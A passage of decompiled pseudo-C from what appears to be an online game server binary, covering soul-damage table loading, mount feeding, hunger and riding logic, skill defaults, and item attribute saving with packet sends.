(std::_Nonscalar_ptr_iterator_tag)_Newsize); } } } else { if ( v4 ) v6 = v3->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( v3, (std::vector >::iterator)v3->_Mylast, _Newsize - v6, &_Val); } } //----- (00442750) -------------------------------------------------------- void __thiscall DamageBySoul::SoulDamageContainer::sdc_Load(DamageBySoul::SoulDamageContainer *this, Name4 *world) { DamageBySoul::SoulDamageContainer *v2; // esi@1 unsigned int v3; // eax@1 char *v4; // eax@1 int v5; // edx@1 int v6; // ecx@1 int v7; // eax@3 int v8; // ebp@5 int i; // edi@5 void *v10; // eax@6 int v11; // eax@7 char *v12; // edx@10 const char *v13; // ecx@10 int v14; // edx@10 int j; // edi@10 void *v16; // eax@11 ORToken v17; // [sp-28h] [bp-10910h]@6 int v18; // [sp-24h] [bp-1090Ch]@6 int v19; // [sp-20h] [bp-10908h]@6 char *v20; // [sp-1Ch] [bp-10904h]@1 const char *v21; // [sp-18h] [bp-10900h]@1 int v22; // [sp-14h] [bp-108FCh]@1 ORToken *v23; // [sp+0h] [bp-108E8h]@6 char path[128]; // [sp+4h] [bp-108E4h]@1 OptionReader or; // [sp+84h] [bp-10864h]@1 unsigned int cookie; // [sp+108D8h] [bp-10h]@13 int v27; // [sp+108E4h] [bp-4h]@1 v2 = this; OptionReader::OptionReader(&or); v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_QWORD *)v4 = *(_QWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; v22 = (int)v4; *((_DWORD *)v4 + 2) = v5; v6 = *(_DWORD *)&world->n4_name[12]; v21 = "../9Data/Shine/World/%s/DamageBySoul.txt"; v20 = path; v27 = 0; *((_DWORD *)v4 + 3) = v6; v4[16] = 0; sprintf(v20, v21); if ( !OptionReader::or_Read(&or, path) ) { OptionReader::or_ClearError(&or); sprintf(path, "../9Data/Shine/World/DamageBySoul.txt"); if ( !OptionReader::or_Read(&or, path) ) { v7 = OptionReader::or_ErrorLine(&or); AssertClass::ac_AssertFail( &shineassert, "DamageBySoul::SoulDamageContainer::sdc_Load : Read DamageBySoul.txt fail", v7); ShineExit("DamageBySoul::SoulDamageContainer::sdc_Load"); } } v8 = 0; for ( i = 0; ; ++i ) { v22 = i; v23 = &v17; v21 = 0; v20 = 0; v19 = 0; v18 = 0; *(_DWORD *)&v17.ort_Name[0] = 0; strncpy(v17.ort_Name, "DamageBySoul", 0x14u); v10 = OptionReader::or_SelectFromOrder(&or, v17, v22); if ( !v10 ) break; v11 = *(_WORD *)v10; if ( v11 > v8 ) v8 = v11; } v2->sdc_Default.sde_DamageRateBySoul[7] = 0; v2->sdc_Default.sde_DamageRateBySoul[6] = 0; v2->sdc_Default.sde_DamageRateBySoul[5] = 0; v2->sdc_Default.sde_DamageRateBySoul[4] = 0; v2->sdc_Default.sde_DamageRateBySoul[3] = 0; v2->sdc_Default.sde_DamageRateBySoul[2] = 0; v2->sdc_Default.sde_DamageRateBySoul[1] = 0; v2->sdc_Default.sde_DamageRateBySoul[0] = 0; v12 = *(char **)&v2->sdc_Default.sde_DamageRateBySoul[2]; v19 = *(_DWORD *)&v2->sdc_Default.sde_DamageRateBySoul[0]; v13 = *(const char **)&v2->sdc_Default.sde_DamageRateBySoul[4]; v20 = v12; v14 = *(_DWORD *)&v2->sdc_Default.sde_DamageRateBySoul[6]; v21 = v13; v22 = v14; std::vector>::resize( &v2->sdc_Vector, v8 + 1, *(DamageBySoul::SoulDamateElement *)&v19); for ( j = 0; ; ++j ) { v22 = j; v23 = &v17; v21 = 0; v20 = 0; v19 = 0; v18 = 0; *(_DWORD *)&v17.ort_Name[0] = 0; strncpy(v17.ort_Name, "DamageBySoul", 0x14u); v16 = OptionReader::or_SelectFromOrder(&or, v17, v22); if ( !v16 ) break; v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[0] = *((_WORD *)v16 + 1); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[1] = *((_WORD *)v16 + 2); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[2] = *((_WORD *)v16 + 3); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[3] = *((_WORD *)v16 + 4); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[4] = *((_WORD *)v16 + 5); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[5] = *((_WORD *)v16 + 6); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[6] = *((_WORD *)v16 + 7); v2->sdc_Vector._Myfirst[*(_WORD *)v16].sde_DamageRateBySoul[7] = *((_WORD *)v16 + 8); } v27 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (00442A10) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShinePlayer::sp_HorseError(void *this, unsigned __int16 err) { (*(void (__stdcall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)this + 776))(8, 65, err); return err; } //----- (00442A30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_HorseFree(int this) { int v1; // esi@1 int v2; // eax@1 int v3; // edx@1 v1 = this; v2 = *(_DWORD *)(this + 57736); v3 = *(_WORD *)(this + 92144); *(_WORD *)(this + 92132) = -1; (*(void (__thiscall **)(int, int))(v2 + 32))(this + 57736, v3); return (*(int (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 8, 72); } //----- (00442A70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseFree(void *this) { *((_DWORD *)this + 23041) = 0; *((_DWORD *)this + 23042) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)this + 23045) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)this + 23044) = 0; *((_BYTE *)this + 23336) = 0; return (*(int (__stdcall **)(_DWORD, _DWORD))(*(_DWORD *)this + 772))(8, 72); } //----- (00442AB0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_HorseNotHungry(int this) { int v1; // esi@1 int v2; // eax@1 bool result; // al@2 int v4; // ecx@3 int v5; // edx@5 v1 = this; v2 = (**(int (__thiscall ***)(_DWORD, _DWORD))(this + 35536))(this + 35536, *(_WORD *)(this + 92134)); if ( v2 ) { v4 = *(_DWORD *)(v2 + 112); if ( v4 ) { v5 = *(_DWORD *)(v1 + 92136); if ( v5 && *(_DWORD *)(v5 + 4) ) { result = (*(int (__stdcall **)(int))(*(_DWORD *)v4 + 60))(v2) >= *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v1 + 92136) + 4) + 198); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseNotHungry : No info", 0); result = 1; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_HorseNotHungry : NULL Arrtibute", *(_WORD *)(v1 + 92134)); result = 1; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_HorseNotHungry : NULL Cell", *(_WORD *)(v1 + 92134)); result = 1; } return result; } //----- (00442B60) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_GetHorseFeed(int this) { unsigned int result; // eax@1 result = BTree::operator__(&stru_125739F0, (const char *)(*(_DWORD *)(*(_DWORD *)(this + 92136) + 4) + 132)); if ( result == -1 ) result = 65535; return result; } //----- (00442B90) -------------------------------------------------------- void __thiscall DefSkillData::dsd_SetDefault(DefSkillData *this, PROTO_NC_CHAR_SKILL_CMD *data, CharClass *cc) { DefSkillData *v3; // edi@1 int v4; // edx@1 int v5; // eax@1 int v6; // ecx@2 signed int v7; // ecx@5 char *v8; // eax@6 int v9; // ebx@12 int v10; // ebp@13 int v11; // eax@17 char *v12; // eax@17 int v13; // eax@17 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DefSkillData::dsd_SetDefault"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DefSkillData::dsd_SetDefault"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; v5 = 0; if ( v3->dsd_Max > 0 ) { v6 = (int)&v3->dsd_Array[0].exist; do { *(_BYTE *)v6 = 0; ++v5; v6 += 4; } while ( v5 < v3->dsd_Max ); } if ( v3->dsd_Max > 0 ) { do { v7 = 0; if ( data->number ) { v8 = (char *)&data[1].number; while ( v3->dsd_Array[v4].skill != *(_WORD *)v8 ) { ++v7; v8 += 16; if ( v7 >= data->number ) goto LABEL_11; } v3->dsd_Array[v4].exist = 1; } LABEL_11: ++v4; } while ( v4 < v3->dsd_Max ); } v9 = 0; if ( v3->dsd_Max > 0 ) { v10 = (int)&v3->dsd_Array[0].exist; do { if ( ((int (*)(void))cc->vfptr->cc_BaseClass)() == 16 || !*(_BYTE *)(v10 + 1) ) { if ( !*(_BYTE *)v10 ) { *(&data[1].chrregnum + 4 * data->number) = 0; *(&data[2].chrregnum + 4 * data->number) = 0; v11 = 16 * (data->number + 1); *((_BYTE *)&data->chrregnum + v11) &= 0xF; v12 = (char *)&data[2].number + 16 * data->number + 1; *v12 &= 0xF0u; v13 = 16 * (data->number + 1); *((_BYTE *)&data->chrregnum + v13) &= 0xF0; *((_BYTE *)&data[2].number + 16 * data->number + 1) &= 0xFu; *(&data[3].chrregnum + 4 * data->number) = 0; *(&data[1].number + 8 * data->number++) = *(_WORD *)(v10 - 2); } } ++v9; v10 += 4; } while ( v9 < v3->dsd_Max ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DefSkillData::dsd_SetDefault"); } //----- (00442D40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HorseCast(void *this, int slot) { void *v2; // esi@1 int v3; // edx@1 int v4; // edi@1 signed int v5; // edx@2 CIDEB_Element *v6; // eax@6 int v7; // eax@13 int v8; // edx@14 int v9; // eax@14 char *v10; // eax@14 int v11; // eax@16 ChargedItemEffectFinger finger; // [sp+20h] [bp-14h]@2 FunctionEntarance _; // [sp+24h] [bp-10h]@1 int v14; // [sp+30h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_HorseCast"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseCast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HorseCast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v14 = 0; (*(void (__thiscall **)(void *))(v3 + 2164))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 2528))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 2532))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 2732))(v2); v4 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8884))((char *)v2 + 35536, slot); if ( v4 ) { *((_DWORD *)v2 + 23034) = 0; MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v14) = 1; v5 = -1; while ( v5 >= -1 ) { ++v5; finger.cief_Finger = v5; if ( v5 >= ridedatabox.cideb_Total ) break; if ( v5 < 0 ) v6 = 0; else v6 = &ridedatabox.cideb_Array[v5]; *((_DWORD *)v2 + 23034) = v6; if ( !v6 || !v6->ce_Data ) goto LABEL_17; if ( v6->ce_ItemID == *(_WORD *)(v4 + 8) ) goto LABEL_13; } finger.cief_Finger = -10; LABEL_13: v7 = *((_DWORD *)v2 + 23034); if ( v7 ) { v8 = *((_DWORD *)v2 + 14434); *((_DWORD *)v2 + 23035) = clockwatch.cw_CurrTick + 10 * *(_WORD *)(*(_DWORD *)(v7 + 4) + 210) / 1000; v9 = *((_WORD *)v2 + 28870); *((_WORD *)v2 + 46072) = v9; *((_WORD *)v2 + 46066) = slot; *((_WORD *)v2 + 46067) = slot; (*(void (__thiscall **)(char *, int, signed int, int))(v8 + 36))((char *)v2 + 57736, v9, 9, slot); ++*((_WORD *)v2 + 28870); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1792, 9); v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8263; *((_WORD *)v10 + 1) = *(_WORD *)(*(_DWORD *)(*((_DWORD *)v2 + 23034) + 4) + 210); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseCast : Packet Too Long", 4); } } LABEL_17: LOBYTE(v14) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseCast"); } //----- (00442F60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ItemAttrSave(void *this, int ridecell, int itembox, int slot) { void *v4; // ebp@1 int v5; // edx@3 int v6; // ebx@3 int v7; // eax@3 char *v8; // esi@3 int v9; // esi@3 int v10; // eax@3 ZoneBaseSession *v11; // eax@5 char *v12; // [sp+8h] [bp-24h]@2 ITEM_INVEN inv; // [sp+18h] [bp-14h]@3 FunctionEntarance _; // [sp+1Ch] [bp-10h]@1 int v15; // [sp+28h] [bp-4h]@1 int slota; // [sp+38h] [bp+Ch]@3 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( slot >= 0 ) { v5 = *((_DWORD *)v4 + 14434); v6 = *(_DWORD *)(ridecell + 112); v7 = (itembox << 10) | slot & 0x3FF; inv.Inven = ((_WORD)itembox << 10) | slot & 0x3FF; LOWORD(v7) = *((_WORD *)v4 + 28870); slota = (int)((char *)v4 + 57736); (*(void (__stdcall **)(int, int, int, ITEM_INVEN *, ITEM_INVEN *))(v5 + 48))(v7, ridecell, ridecell, &inv, &inv); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v8 + 4) = *((_WORD *)v4 + 28870); *(_DWORD *)(v8 + 10) = *(_DWORD *)ridecell; *(_DWORD *)(v8 + 14) = *(_DWORD *)(ridecell + 4); *((_WORD *)v8 + 9) = *(_WORD *)(ridecell + 8); memcpy(v8 + 20, (const void *)(ridecell + 10), 0x65u); (*(void (__thiscall **)(int, int))(*(_DWORD *)v6 + 8))(v6, ridecell + 10); v9 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v6 + 8))(v6, ridecell + 10) + 20; v10 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v6 + 8))(v6, ridecell + 10); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v10 + 20) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : Packet Too Long", v9); } ++*(_WORD *)(slota + 4); v15 = -1; v12 = "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"; } else { v15 = -1; v12 = "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); } //----- (004430F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendHorseHungry(void *this, int hungry) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendHorseHungry"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendHorseHungry"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8262; *((_WORD *)v3 + 1) = hungry; *((_BYTE *)v2 + 92156) = hungry == 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_SendHorseHungry : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendHorseHungry"); } //----- (004431E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket(void *this, __int16 errorcode, char invenType) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12310; *((_WORD *)v4 + 1) = errorcode; *((_WORD *)v4 + 2) = *((_WORD *)v3 + 46115); ProtocolPacket::pp_SetPacketLen(&gpp, 6); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v3, &gpp); *((_WORD *)v3 + 46115) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket"); } //----- (004432C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HorseItemSave(void *this) { void *v1; // esi@1 int v2; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseItemSave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HorseItemSave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8884))((char *)v1 + 35536, *((_WORD *)v1 + 46067)); ShineObjectClass::ShinePlayer::sp_ItemAttrSave(v1, v2, 9, *((_WORD *)v1 + 46067)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseItemSave"); } //----- (00443380) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HorseFeed(void *this) { void *v1; // esi@1 __int16 v2; // ax@2 int v3; // eax@7 int v4; // ecx@7 int v5; // edi@7 int v6; // ebx@7 int v7; // eax@9 char *v8; // [sp+0h] [bp-24h]@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1136))(v1) != 6 ) goto LABEL_4; v2 = *((_WORD *)v1 + 46067); if ( v2 < 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_HorseFeed : No ride", v2 >= 0); LABEL_4: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"); return; } if ( *((_DWORD *)v1 + 23034) ) { v3 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8884))( (char *)v1 + 35536, v2); v4 = *((_DWORD *)v1 + 23034); v5 = v3; v6 = *(_DWORD *)(v3 + 112); if ( *(_WORD *)(v3 + 8) == *(_WORD *)v4 ) { (*(void (__thiscall **)(int, int, _DWORD, _DWORD))(*(_DWORD *)v6 + 56))( v6, v3, *(_WORD *)(*(_DWORD *)(*((_DWORD *)v1 + 23034) + 4) + 196), *(_WORD *)(*(_DWORD *)(*((_DWORD *)v1 + 23034) + 4) + 198)); ShineObjectClass::ShinePlayer::sp_HorseItemSave(v1); v7 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v6 + 60))(v6, v5); ShineObjectClass::ShinePlayer::sp_SendHorseHungry(v1, v7); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ : No Ride", *(_WORD *)(v3 + 8) == *(_WORD *)v4); } v8 = "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"; } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_HorseFeed : No info", 0); v8 = "ShineObjectClass::ShinePlayer::so_ply_HorseFeed"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v8); } //----- (00443500) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HorseOn(void *this, unsigned __int8 skillcooltime) { int v2; // ebp@1 char v3; // al@1 int v4; // ebx@1 const void *v5; // esi@1 int v6; // esi@2 char v7; // al@4 void *v8; // ebp@4 int v9; // ebx@8 int v10; // edi@8 int v11; // edx@9 char *v12; // esi@9 int v13; // ST4C_4@9 int v14; // eax@9 int v15; // eax@11 int v16; // esi@12 int v17; // eax@13 char *v18; // eax@14 int v19; // ecx@15 char *v20; // eax@16 char *v21; // ST58_4@18 DebugLogging *v22; // eax@18 DebugLogging *v23; // eax@18 DebugLogging *v24; // eax@18 DebugLogging *v25; // eax@18 DebugLogging *v26; // eax@18 char *v27; // eax@19 int v28; // eax@20 int v29; // edx@20 int v30; // eax@20 int v31; // ST60_4@20 int v32; // eax@20 int v33; // esi@22 FunctionEntarance _; // [sp+74h] [bp-20h]@1 int v35; // [sp+78h] [bp-1Ch]@9 AxialListPacketBroadcast alchat; // [sp+7Ch] [bp-18h]@9 int v37; // [sp+90h] [bp-4h]@1 v2 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_HorseOn"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseOn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HorseOn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_BYTE *)(v2 + 89071); v4 = v2 + 89024; v5 = (const void *)(*(_DWORD *)(v2 + 32010) + 29); v37 = 0; if ( !v3 ) { memcpy((void *)v4, v5, 0x2Cu); v6 = (int)((char *)v5 + 44); *(_WORD *)(v2 + 89068) = *(_WORD *)v6; *(_BYTE *)(v2 + 89070) = *(_BYTE *)(v6 + 2); *(_BYTE *)(v2 + 89071) = 1; } if ( !ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo((void *)v2, *(_DWORD *)(v2 + 32010) + 29) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 65, 4291); v7 = *(_BYTE *)(v2 + 89071); v8 = (void *)(*(_DWORD *)(v2 + 32010) + 29); if ( v7 ) { memcpy(v8, (const void *)v4, 0x2Fu); *(_BYTE *)(v4 + 47) = 0; } goto LABEL_27; } if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v2 + 988))(v2, 75) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 65, 4291); (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2164))(v2); LABEL_27: --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseOn"); return; } **(_BYTE **)(v2 + 3716) = 6; v9 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v2 + 35536))(v2 + 35536, *(_WORD *)(v2 + 92134)); v10 = *(_DWORD *)(v9 + 112); if ( !v10 ) goto LABEL_27; v11 = *(_DWORD *)v10; v35 = v9 + 8; (*(void (__thiscall **)(int, int, signed int))(v11 + 96))(v10, v9 + 8, 1); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8256; *((_WORD *)v12 + 1) = *(_WORD *)(v2 + 4); *((_WORD *)v12 + 2) = *(_WORD *)(*(_DWORD *)(v2 + 32010) + 76); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v13 = *(_DWORD *)(v2 + 78); LOBYTE(v37) = 1; v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v2, v14, v13, 0, 0, (int)&alchat, 0, 65535); *(_WORD *)v12 = 8255; *((_WORD *)v12 + 1) = *(_WORD *)(*(_DWORD *)(v2 + 32010) + 76); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseOn : Packet Too Long", 4); } v16 = *(_DWORD *)(v2 + 92136); if ( v16 && (v17 = *(_DWORD *)(v16 + 4)) != 0 ) { *(_WORD *)(v2 + 92146) = *(_WORD *)(v17 + 208); *(_WORD *)(v2 + 92148) = *(_WORD *)(*(_DWORD *)(v16 + 4) + 206); *(_DWORD *)(v2 + 92152) = clockwatch.cw_CurrTick + 10 * *(_WORD *)(*(_DWORD *)(v16 + 4) + 202) / 1000; v18 = ORErrorMessage::orem_GetMessage((ORErrorMessage *)&ui_ride); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v2 + 2692))( v2, **(_WORD **)v18, *(_DWORD *)(*(_DWORD *)(v16 + 4) + 212), 0, 0, 0); if ( skillcooltime ) { v19 = **(_WORD **)ORErrorMessage::orem_GetMessage((ORErrorMessage *)&ui_ride); (*(void (__thiscall **)(int, int, unsigned int))(*(_DWORD *)v2 + 884))( v2, v19, *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v2 + 92136) + 4) + 212) / 0x3E8u); } } else { *(_WORD *)(v2 + 92146) = 10; *(_WORD *)(v2 + 92148) = 10; *(_DWORD *)(v2 + 92152) = clockwatch.cw_CurrTick; v20 = "NULL"; if ( v16 ) v20 = "Not Null"; v21 = v20; v22 = DebugLogging::operator<<(&MoverErrorLog, "CoolTimeSet["); v23 = DebugLogging::operator<<(v22, skillcooltime); v24 = DebugLogging::operator<<(v23, "] sp_RideCast.info["); v25 = DebugLogging::operator<<(v24, v21); v26 = DebugLogging::operator<<(v25, (char *)&stru_5A8D60); DebugLogging::operator<<(v26, &deb_LF); if ( skillcooltime ) { v27 = ORErrorMessage::orem_GetMessage((ORErrorMessage *)&ui_ride); (*(void (__thiscall **)(int, _DWORD, signed int, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v2 + 2692))( v2, **(_WORD **)v27, 10000, 0, 0, 0); } } ShineObjectClass::ShinePlayer::sp_HorseFree(v2); v28 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v10 + 60))(v10, v9); ShineObjectClass::ShinePlayer::sp_SendHorseHungry((void *)v2, v28); v29 = *(_DWORD *)(v2 + 57736); v30 = *(_WORD *)(v2 + 57740); v31 = *(_WORD *)(v2 + 92134); *(_WORD *)(v2 + 92150) = v30; (*(void (__thiscall **)(int, int, signed int, int))(v29 + 36))(v2 + 57736, v30, 9, v31); ++*(_WORD *)(v2 + 57740); v32 = *(_DWORD *)(v2 + 92136); if ( !v32 || !*(_DWORD *)(v32 + 4) ) { LOBYTE(v37) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_27; } v33 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v10 + 48))(v10, v35); if ( !AssertClass::operator__(&shineassert, v33 != 0, "ShineObjectClass::ShinePlayer::sp_HorseOn : Null deltime", 0) && !*(_BYTE 